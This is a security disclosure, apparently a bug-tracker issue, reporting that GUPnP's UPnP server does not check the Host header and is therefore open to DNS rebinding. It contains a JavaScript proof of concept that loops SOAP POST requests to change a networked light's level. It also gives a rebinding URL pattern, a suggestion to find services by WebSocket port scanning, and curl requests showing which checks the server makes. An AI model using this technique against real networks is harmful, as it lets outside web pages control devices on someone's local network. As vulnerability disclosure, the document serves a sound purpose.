Security Issue: Server does not check value of Host header
Message
Summary
The server-part of GUPNP appears to be vulnerable to DNS-rebinding attacks because it does not check the value of the Host
header.
We demonstrate this using gupnp-network-light
.
This code served from another web server can be used to trigger the SetLoadLevelTarget
.
This need to be served using the same port as the targeted gupnp-network-light
service.
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main()
{
while(true) {
const response = await fetch("/Dimming/Control", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"',
},
body: `
100
`
});
if (response.status == 200) {
alert("DONE!")
return;
}
await sleep(1000);
}
}
main()
We use access the malicious web server using a URL of the form:
http://a.203.0.113.24.5time.192.168.1.42.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:38757/
where:
-
203.0.113.24.5
is the IP address of the malicious server; -
192.168.1.42
is the private IP address of thegupnp-network-light
service.
However we need to guess the local IP address and port of the service. We can use WebSocket based port scanning in order to do this.
This was tested on:
- Debian testing;
- gupnp-tools 0.10.0-2;
- libgupnp 1.2.4-1.
Code
The following verifications are done by control_server_handler()
:
if (msg->method != SOUP_METHOD_POST) {
soup_message_set_status (msg, SOUP_STATUS_NOT_IMPLEMENTED);
return;
}
if (msg->request_body->length == 0) {
soup_message_set_status (msg, SOUP_STATUS_BAD_REQUEST);
return;
}
/* DLNA 7.2.5.6: Always use HTTP 1.1 */
if (soup_message_get_http_version (msg) == SOUP_HTTP_1_0) {
soup_message_set_http_version (msg, SOUP_HTTP_1_1);
soup_message_headers_append (msg->response_headers,
"Connection",
"close");
}
context = gupnp_service_info_get_context (GUPNP_SERVICE_INFO (service));
/* Get action name */
soap_action = soup_message_headers_get_one (msg->request_headers,
"SOAPAction");
if (!soap_action) {
soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
return;
}
action_name = strchr (soap_action, '#');
if (!action_name) {
soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
return;
}
Details
Here's a normal UPnP request:
curl -D- http://192.168.1.42:38757/Dimming/Control \
-H"Content-Type: text/xml; charset=utf-8" \
-H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
--data-raw '
100
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:05:58 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285
The server does not check the Content-Type
header:
curl -D- http://192.168.1.42:38757/Dimming/Control \
-H"Content-Type: text/xml; charset=utf-8" \
-H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
--data-raw '
100
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:06:28 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285
However, it mandates the usage SOAPAction
header which prevents any CSRF attack:
curl -D- http://192.168.1.42:38757/Dimming/Control \
-H"Content-Type: text/xml; charset=utf-8" \
--data-raw '
100
'
HTTP/1.1 412 Precondition Failed
Date: Tue, 06 Apr 2021 20:25:57 GMT
Content-Length: 0
It does not check the host header:
curl -D- http://192.168.1.42:38757/Dimming/Control \
-H"Host: www.example.com" \
-H"Content-Type: text/xml; charset=utf-8" \
-H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
--data-raw '
100
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:08:13 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285